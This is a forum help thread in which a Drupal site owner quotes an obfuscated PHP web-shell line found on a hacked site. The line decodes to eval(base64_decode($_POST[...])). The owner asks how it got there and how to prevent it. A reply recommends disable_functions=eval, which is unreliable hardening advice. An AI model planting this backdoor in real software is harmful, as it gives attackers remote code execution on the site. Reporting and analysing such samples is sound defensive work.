today I woke up surprised that my website was hacked. I found scripts like this in several files of my Drupal instalation
$sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n7f2521'];if(isset($s22)){eval($s21($s22));}
I could find that the script was propagated, from
sites/default/files/styles/thumbnail/public/footer.php
That footer.php should not be there, so my question is, how a php file could be uploaded in that folder?
I checked all the upload images and files fields and I ensure any of those are allowed of upload .php files.
Can someone help me out?
how to prevent this type of hacking? what are the precautions for this type of hacking?
disable_functions=eval
in my settings. That would have prevented this from working, though not necessarily prevent the original attack. It will also kill the php module, which I'm sure if a common attack vector on Drupal sites, and using it is utterly foolish.